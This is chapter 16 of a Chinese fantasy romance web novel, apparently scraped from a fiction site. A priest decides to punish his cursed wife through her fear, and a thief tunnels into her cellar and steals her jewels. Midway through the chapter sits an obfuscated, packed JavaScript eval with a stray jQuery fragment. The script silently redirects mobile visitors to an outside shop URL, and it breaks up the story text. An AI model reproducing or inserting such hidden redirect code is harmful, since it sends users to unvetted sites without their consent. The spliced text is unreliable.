文趣网 > 其他小说 > 被神明盯上了[西幻] > 16. 第 16 章
    七神的雕像遍布南境。

    在阿希礼还是神官的时候,他常往返于大陆收集神迹,牵头编撰圣书教义。

    通常,神明的发迹分为三步。

    ——第一步:神明会创造一个无可辩驳的神迹,然后广而告之地宣示主权,证明祂的能力。

    这样的‘神迹’,在审判时,阿希礼已经展露。

    月夜回溯中,他捏造了酒神神龛的影像。用话柄稍加引导,在不对七神说谎的情况下,达成了自己的目的。

    ——第二步:跟信徒持续建立联系。

    阿希礼家族供奉的酒神,在考验凡人时,就展现了酒罐永不斟空的神迹。狩猎之神,也曾化身为海豚,改变船只航向,以引导信徒。

    对应的,黛西对于“夫妻”的诉求,阿希礼予以了回应。

    而他也如教义中描述的那样,收获了黛西的信任。从低垂的脖颈和顺服的乖觉中——

    阿希礼触碰到了一种神明才配拥有的东西。

    一种隐秘的、近乎渎神的餍足。

    他曾聆听过无数次告解,安抚过许多不安的灵魂。可他们的倾诉像水流过石头一样滑过,从未真正影响到阿希礼。

    很明显,他低估了黛西对自己的影响力。

    也低估了自己对黛西的克制。当她再次选择隐瞒的时候,阿希礼察觉到他的情绪明显波动起来。

    他并不熟悉,也难以为这种情绪命名。

    但阿希礼知道。

    神明之所以强大、不容置喙的根本原因。不是神明的神迹、也不是引导信徒的频率——

    而是恐惧。

    严厉而公开的神罚,对信徒起到威慑作用。即便是异教徒,在目睹神威之后,也须重新衡量触怒神明的代价。

    这也是神明发迹的第三步。

    黛西柔软的心脏,在抵达昏暗的地窖时,会剧烈跳动。

    阿希礼知晓她内心的恐惧。

    也毫不吝啬地选择,利用她的恐惧——

    惩罚她。

    阿希礼坐在高椅上一言不发,旁边的桌上,摆放着一本古书和酒杯。

    家族供奉酒神已久,酒神曾赐予过永远不会醉酒的恩赐。凌晨三点,阿希礼头脑清醒。

    很明显,魔鬼之所以找上黛西,是因为黛西身上有魔鬼的烙印。北境公主,从未侍奉过任何魔鬼,那唯一的可能——

    就是诅咒。

    妻子身上的诅咒,与魔鬼同源。

    这事关北境王室辛秘,黛西有顾虑也可以理解。理智告诉阿希礼这样,可自马车上下来后,阿希礼一直出于一种隐约的烦躁中。

    他还有更重要的事情要做。

    阿希礼拿起古书翻阅起来。他已经决定好了。

    她总会坦白的。

    阿希礼十分笃定。毕竟,黛西除了自己,再没有别的方法了。

    他只需要像最耐心的猎手一样,等待即可。

    而神龛,是唯一一个安全的地方,能够避免魔鬼的侵扰,同时给她足够的时间思考。

    眼下,黛西需要接受惩罚。

    .

    地窖。

    布满灰尘和蛛网的酒桶随意摆放在角落,但神龛本身并不算太落败。

    黛西拖着衰老的身体,费力拧干抹布,擦拭布满灰尘的神龛,同时思索着最坏的结局。

    如果阿希礼知道了——

    他会如何对待一个与恶魔绑定的人?

    在北境的传统中,恶魔的宿主是要被烧死的。在南境的教义中,她也是需要被净化、抹除的存在。

    阿希礼侍奉七神。

    即使他愿意给予庇佑,个人意愿也必须服从于神职。

    黛西不后悔隐瞒这件事。

    她眉头紧缩,抬手将墙角最后一个蜘蛛网清理干净后,来到了熟悉的石室。

    烛台上的蜡烛早已燃尽,整个空间昏暗不堪,好在窗口处的月光洒下,勉强带来一丝光亮。

    石床上,黛西蜷在一角,眼神空洞。

    毫无困意。

    白天唯一进食的松饼和蟹肉挞早已消化,此刻胃部正难耐地抽动着。黛西轻叹一声,瞬间警觉起来!

    耳边除了自己的叹气……

    似乎还有悉悉索索的声响?

    黛西靠在墙角,扯来毯子将自己裹了起来,只留一双眼睛,狐疑地望向声音传来的方向。

    完了。

    是可恶的魔鬼又找来了?

    她是绝不会供奉恶魔的!黛西摸向颈上的七神项链,神色慌乱。

    悉悉索索的声音越来越大。

    这魔鬼可真厉害。才过了多久,就从植物变成了动物!黛西一脸嫌恶,索性闭上了眼睛。

    ……不会是老鼠吧?

    只这样想着,黛西就头皮发麻,似乎身上有千万条虫子在爬。

    好在那声音停下了。

    黛西害怕极了,等了很久,却什么也没有发生。她鼓起勇气睁开眼。

    铁锹?!

    黛西大惊失色。

    只见一把铁锹正从砖缝中伸出,不急不缓地,像是在进行一场专业、熟练的撬锁。

    魔鬼竟学会工具了?!这可比老鼠可怕一万倍!

    黛西呼吸停滞了。

    ——!

    忽然,一个模糊的人影,竟然从铁锹的缝隙中挤了进来。

    一时间,两人四目相对。

    那人提着一盏油灯,动作僵在半空中,似乎没料到石室里有人。

    “……您好。”

    那人夸张地侧身,好奇而困惑地打量石床上的黛西。

    “我偷过很多东西。”他没有半分隐瞒的意思。“教堂、墓室,女王的宫殿。但说实话,我从没想过会在逃跑的路上撞见一位老太太。”

    他歪了歪头,像是在辨认一件不太确定的古董。

    “你是住在这儿的?还是说……你也是来偷东西的?”

    他问道。

    “如果是后者,我得说,你来的可不是时候。这儿的贵重物品,都归我了。”

    那人笑了笑,露出一颗不太整齐的犬齿。

    黛西攥紧毛毯。

    她这才看清那人身后鼓鼓囊囊的背包,甚至露出了一半硕大的宝石项链。

    “……呵呵。”

    看着属于自己的珠宝,她几乎要气笑了。

    “你胆子可真不小,你知道这是谁的庄园吗?”

    “亲爱的。”那人四处打量这间石室,转身拿起桌上的杯子细细端详。

    “我可不是随便就动手的。你知道我调查了多久么?”

    说完,他一把将银质杯子捏扁,极为顺手地揣到怀里。

    “谢谢啦。”

    “……你真是个恶贼!”黛西用最难听的语言,狠狠骂了他一通。

    那人却轻笑几声,彻底放松下来。

    “哦,老婆婆。你怎么就知道我是一个坏人呢?”

    “深夜盗窃,这还不够坏吗?”

    “天呐——”那怪盗随即捂住自己的心脏,做出受伤的动作来,“老婆婆,您活了这么久,难道还不明白?”

    “这世间万物,就是这样运行的。难道那花儿凋谢,是冬天的残忍吗?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920568|213449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他浑身散发出一股干完活后的闲散。

    黛西眯起眼睛,撇过头去。

    “其实我也不懂得这些珠宝。”那怪盗却似来了兴致,一把卸下背上的包裹,挑起最外面的蓝宝石项链道。

    “你看,这就是庄园夫人的项链,但于我而言,不过是石头。”

    黛西深吸一口气,平静道,“……石头?”

    “那请你把这些石头放回去。”

    “……”

    那怪盗沉默了片刻。

    “你说得对。我是一个坏人。”

    他迅速将项链放回背包,重新背在身上后,拿起铁锹,又悉悉索索地挖了起来。

    ……

    等怪盗走后,黛西来到了他铁锹下铲的位置,手脚并用地试探着摩挲着。

    却怎么也找不见洞口。

    次日,鼓楼的钟声刚响起,黛西忙起身看向地面。

    惊奇地发现——

    石室内,所有地面上的石砖,全都光洁完好,就像什么也没有发生过。

    可石桌上的银杯,确确实实不见了。

    黛西呆愣了片刻,随即小跑着穿过花园,来到庄园二层左侧的衣帽间——

    !

    珠宝全都不见了!

    黛西脑袋嗡嗡作响。这响声一直延续到她换上洁净的睡裙,走向浴室。

    依然嗡嗡在响……

    水流冲散了身体上的疲倦。黛西闭上眼睛。

    现在最重要的是消除诅咒。

    其他的身外之物全都不重要。那些精美的圆润紫珠、华丽繁琐的黄钻项圈、古老庄重的手环、工艺复杂的蕾丝抽丝臂圈,还有胸针、发冠……

    黛西郁郁吐出一口气。

    粗略沐浴过后,黛西裹紧头发,顶着未干的水汽直接来到餐厅,随意吃了些简餐。

    然后在柔软的床上,一觉睡到了下午。

    醒来后,身体没有半点恢复的迹象,反而愈发昏沉。

    黛西拿起嗅盐闻了闻——

    像被一片极薄的冰片划开鼻腔,尾调还有酸涩的草药底味。这股气味直直地冲上颅顶,像一只手从鼻梁后,强行把眼皮撑开。

    黛西彻底清醒了。

    这还是麦格拉夫人为黛西特意调配的。

    换上长裙后,黛西带上一盒特制的松露塔,坐上马车,朝麦格拉夫人的庄园驶去。

    .

    “另烤一份牛肋排。”

    阿希礼用叉背抵在餐盘上,用小刀轻松拨上应季时蔬,混合着手工制作的贝壳面,放进嘴里。

    末了,侧身对女佣叮嘱道。

    “不用叫黛西用餐,让她多休息一会。等下楼了再烤。”

    神使大人还是第一次这么多话。女仆低头应是。大人嘱咐的可真仔细呀。

    但是太可惜了。

    “黛西夫人下午就出去了。”女仆说道。

    阿希礼拿刀叉的手一顿。

    “我先把牛排腌上吧。等到黛西夫人回来,如果她没有用晚餐的话,我再煎给夫人。”

    女仆转身去了厨房。

    餐厅内,阿希礼面色如常。手法熟练地撬开蛤蜊,将肉放入口中。

    用餐的间隙。

    还不时端起桌上的葡萄酒,轻轻啜饮几口。

    没有人注意到——

    神使大人手边的银质餐具,已然乱了顺序。

    熟的蛤蜊壳口大开,饱满鲜嫩的肉色泽莹润。这是阿希礼较为偏爱的餐食,但今天却差强人意。

    蛤蜊壳很难剥离。

    ——尤其是阿希礼手持甜品专用双股叉的时候。